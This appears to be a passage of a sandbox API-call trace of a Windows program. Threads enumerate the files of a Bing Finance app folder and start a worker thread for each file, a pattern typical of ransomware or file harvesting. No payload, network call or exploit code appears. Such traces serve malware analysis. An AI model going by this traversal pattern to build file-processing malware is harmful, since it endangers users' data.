	[0079.218] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x2df67b0 | out: lpFindFileData=0x2df67b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x77492ec4, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa0991e5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x77492ec4, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0079.219] wcscmp (_String1="..", _String2=".") returned 1
	[0079.219] wcscmp (_String1="..", _String2="..") returned 0
	[0079.219] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x2df67b0 | out: lpFindFileData=0x2df67b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x77492ec4, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa0dcf11, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x775054bc, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppTiles", cAlternateFileName="")) returned 1
	[0079.219] wcscmp (_String1="AppTiles", _String2=".") returned 1
	[0079.219] wcscmp (_String1="AppTiles", _String2="..") returned 1
	[0079.219] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc0) returned 0x4770eb0
	[0079.219] wcscpy (in: _Dest=0x4770eb0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Assets"
	[0079.219] wcscat (in: _Dest=0x4770eb0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\"
	[0079.219] wcscat (in: _Dest=0x4770eb0, _Source="AppTiles" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles"
	[0079.219] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x4770eb0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1118
	[0079.219] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x2df67b0 | out: lpFindFileData=0x2df67b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x77492ec4, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa0dcf11, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x775054bc, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppTiles", cAlternateFileName="")) returned 0
	[0079.220] FindClose (in: hFindFile=0x2dacdf8 | out: hFindFile=0x2dacdf8) returned 1
	[0079.220] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2df67b0) returned 1
	[0079.220] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4769ae8) returned 1
	[0079.220] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2ddbbb0) returned 1

Thread:
	id = 726
	os_tid = 0x1a84

	[0079.221] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc0) returned 0x476fbf0
	[0079.221] wcscpy (in: _Dest=0x476fbf0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Configuration" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Configuration") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Configuration"
	[0079.221] wcscat (in: _Dest=0x476fbf0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Configuration\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Configuration\\"
	[0079.221] wcscat (in: _Dest=0x476fbf0, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Configuration\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Configuration\\*"
	[0079.221] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2df67b0
	[0079.221] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Configuration\\*", lpFindFileData=0x2df67b0 | out: lpFindFileData=0x2df67b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7752b705, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa1412e5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x7752b705, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2dacdf8
	[0079.222] wcscmp (_String1=".", _String2=".") returned 0
	[0079.222] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x2df67b0 | out: lpFindFileData=0x2df67b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7752b705, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa1412e5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x7752b705, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0079.222] wcscmp (_String1="..", _String2=".") returned 1
	[0079.222] wcscmp (_String1="..", _String2="..") returned 0
	[0079.222] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x2df67b0 | out: lpFindFileData=0x2df67b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7752b705, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x7752b705, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x7752b705, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x15800, dwReserved0=0x0, dwReserved1=0x0, cFileName="configuration.sqlite", cAlternateFileName="")) returned 1
	[0079.222] wcscmp (_String1="configuration.sqlite", _String2=".") returned 1
	[0079.222] wcscmp (_String1="configuration.sqlite", _String2="..") returned 1
	[0079.222] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe6) returned 0x47eb528
	[0079.222] wcscpy (in: _Dest=0x47eb528, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Configuration" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Configuration") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Configuration"
	[0079.223] wcscat (in: _Dest=0x47eb528, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Configuration\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Configuration\\"
	[0079.223] wcscat (in: _Dest=0x47eb528, _Source="configuration.sqlite" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Configuration\\configuration.sqlite") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Configuration\\configuration.sqlite"
	[0079.223] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x47eb528, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x111c
	[0079.223] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x2df67b0 | out: lpFindFileData=0x2df67b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7752b705, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x7752b705, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x7752b705, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x15800, dwReserved0=0x0, dwReserved1=0x0, cFileName="configuration.sqlite", cAlternateFileName="")) returned 0
	[0079.223] FindClose (in: hFindFile=0x2dacdf8 | out: hFindFile=0x2dacdf8) returned 1
	[0079.223] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2df67b0) returned 1
	[0079.223] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x476fbf0) returned 1
	[0079.223] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x476c220) returned 1

Thread:
	id = 727
	os_tid = 0x1a88

	[0079.224] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc0) returned 0x476fbf0
	[0079.224] wcscpy (in: _Dest=0x476fbf0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\JsonResources" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\JsonResources") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\JsonResources"
	[0079.224] wcscat (in: _Dest=0x476fbf0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\JsonResources\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\JsonResources\\"
	[0079.224] wcscat (in: _Dest=0x476fbf0, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\JsonResources\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\JsonResources\\*"
	[0079.224] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2df67b0
	[0079.224] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\JsonResources\\*", lpFindFileData=0x2df67b0 | out: lpFindFileData=0x2df67b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7752b705, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa20b499, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x7755195b, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2dacdf8
	[0079.226] wcscmp (_String1=".", _String2=".") returned 0
	[0079.226] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x2df67b0 | out: lpFindFileData=0x2df67b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7752b705, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa20b499, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x7755195b, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0079.226] wcscmp (_String1="..", _String2=".") returned 1
	[0079.226] wcscmp (_String1="..", _String2="..") returned 0
	[0079.226] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x2df67b0 | out: lpFindFileData=0x2df67b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7752b705, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x7752b705, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x7752b705, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x1a52, dwReserved0=0x0, dwReserved1=0x0, cFileName="AboutLinks.json", cAlternateFileName="")) returned 1
	[0079.226] wcscmp (_String1="AboutLinks.json", _String2=".") returned 1
	[0079.226] wcscmp (_String1="AboutLinks.json", _String2="..") returned 1
	[0079.226] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xdc) returned 0x4768f38
	[0079.226] wcscpy (in: _Dest=0x4768f38, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\JsonResources" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\JsonResources") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\JsonResources"
	[0079.226] wcscat (in: _Dest=0x4768f38, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\JsonResources\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\JsonResources\\"
	[0079.226] wcscat (in: _Dest=0x4768f38, _Source="AboutLinks.json" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\JsonResources\\AboutLinks.json") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\JsonResources\\AboutLinks.json"
	[0079.226] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4768f38, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1120
	[0079.227] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x2df67b0 | out: lpFindFileData=0x2df67b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7752b705, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x7752b705, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x7752b705, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x4b1c, dwReserved0=0x0, dwReserved1=0x0, cFileName="CurrencyInfo.json", cAlternateFileName="")) returned 1
	[0079.227] wcscmp (_String1="CurrencyInfo.json", _String2=".") returned 1
	[0079.227] wcscmp (_String1="CurrencyInfo.json", _String2="..") returned 1
	[0079.227] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe0) returned 0x47687f8
	[0079.227] wcscpy (in: _Dest=0x47687f8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\JsonResources" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\JsonResources") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\JsonResources"
	[0079.227] wcscat (in: _Dest=0x47687f8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\JsonResources\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\JsonResources\\"
	[0079.227] wcscat (in: _Dest=0x47687f8, _Source="CurrencyInfo.json" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\JsonResources\\CurrencyInfo.json") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\JsonResources\\CurrencyInfo.json"
	[0079.227] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x47687f8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1124
	[0079.228] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x2df67b0 | out: lpFindFileData=0x2df67b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7752b705, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x7752b705, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x7752b705, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x32a6, dwReserved0=0x0, dwReserved1=0x0, cFileName="DefaultCurrencyLoc.json", cAlternateFileName="")) returned 1
	[0079.228] wcscmp (_String1="DefaultCurrencyLoc.json", _String2=".") returned 1
	[0079.228] wcscmp (_String1="DefaultCurrencyLoc.json", _String2="..") returned 1
	[0079.228] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xec) returned 0x4752a20
	[0079.228] wcscpy (in: _Dest=0x4752a20, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\JsonResources" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\JsonResources") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\JsonResources"
	[0079.228] wcscat (in: _Dest=0x4752a20, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\JsonResources\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\JsonResources\\"
	[0079.228] wcscat (in: _Dest=0x4752a20, _Source="DefaultCurrencyLoc.json" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\JsonResources\\DefaultCurrencyLoc.json") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\JsonResources\\DefaultCurrencyLoc.json"
	[0079.228] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4752a20, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1128
	[0079.229] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x2df67b0 | out: lpFindFileData=0x2df67b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7752b705, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x7752b705, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x7752b705, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x8ea, dwReserved0=0x0, dwReserved1=0x0, cFileName="DefaultFromToCurrency.json", cAlternateFileName="")) returned 1
	[0079.229] wcscmp (_String1="DefaultFromToCurrency.json", _String2=".") returned 1
	[0079.229] wcscmp (_String1="DefaultFromToCurrency.json", _String2="..") returned 1
	[0079.229] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xf2) returned 0x4766510
	[0079.229] wcscpy (in: _Dest=0x4766510, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\JsonResources" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\JsonResources") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\JsonResources"
	[0079.229] wcscat (in: _Dest=0x4766510, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\JsonResources\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\JsonResources\\"
	[0079.229] wcscat (in: _Dest=0x4766510, _Source="DefaultFromToCurrency.json" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\JsonResources\\DefaultFromToCurrency.json") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\JsonResources\\DefaultFromToCurrency.json"
	[0079.229] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4766510, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x112c
	[0079.230] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x2df67b0 | out: lpFindFileData=0x2df67b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7752b705, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x7752b705, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x7752b705, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x3b60, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExchangeDetails.json", cAlternateFileName="")) returned 1
	[0079.230] wcscmp (_String1="ExchangeDetails.json", _String2=".") returned 1
	[0079.230] wcscmp (_String1="ExchangeDetails.json", _String2="..") returned 1
	[0079.230] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe6) returned 0x47eb618
	[0079.230] wcscpy (in: _Dest=0x47eb618, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\JsonResources" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\JsonResources") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\JsonResources"
	[0079.230] wcscat (in: _Dest=0x47eb618, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\JsonResources\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\JsonResources\\"
	[0079.230] wcscat (in: _Dest=0x47eb618, _Source="ExchangeDetails.json" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\JsonResources\\ExchangeDetails.json") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\JsonResources\\ExchangeDetails.json"
	[0079.230] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x47eb618, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1130
	[0079.230] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x2df67b0 | out: lpFindFileData=0x2df67b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7755195b, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x7755195b, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x7755195b, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x36cd, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExchangesInfo.json", cAlternateFileName="")) returned 1
	[0079.230] wcscmp (_String1="ExchangesInfo.json", _String2=".") returned 1
	[0079.230] wcscmp (_String1="ExchangesInfo.json", _String2="..") returned 1
	[0079.230] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe2) returned 0x47ec608
	[0079.230] wcscpy (in: _Dest=0x47ec608, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\JsonResources" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\JsonResources") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\JsonResources"
	[0079.230] wcscat (in: _Dest=0x47ec608, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\JsonResources\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\JsonResources\\"
	[0079.231] wcscat (in: _Dest=0x47ec608, _Source="ExchangesInfo.json" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\JsonResources\\ExchangesInfo.json") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\JsonResources\\ExchangesInfo.json"
	[0079.231] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x47ec608, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1134
	[0079.231] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x2df67b0 | out: lpFindFileData=0x2df67b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7755195b, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x7755195b, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x7755195b, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x1d73, dwReserved0=0x0, dwReserved1=0x0, cFileName="MarketsInfo.json", cAlternateFileName="")) returned 1
	[0079.231] wcscmp (_String1="MarketsInfo.json", _String2=".") returned 1
	[0079.231] wcscmp (_String1="MarketsInfo.json", _String2="..") returned 1
	[0079.231] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xde) returned 0x4767320
	[0079.231] wcscpy (in: _Dest=0x4767320, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\JsonResources" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\JsonResources") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\JsonResources"
	[0079.231] wcscat (in: _Dest=0x4767320, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\JsonResources\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\JsonResources\\"
	[0079.231] wcscat (in: _Dest=0x4767320, _Source="MarketsInfo.json" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\JsonResources\\MarketsInfo.json") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\JsonResources\\MarketsInfo.json"
	[0079.231] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4767320, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1138
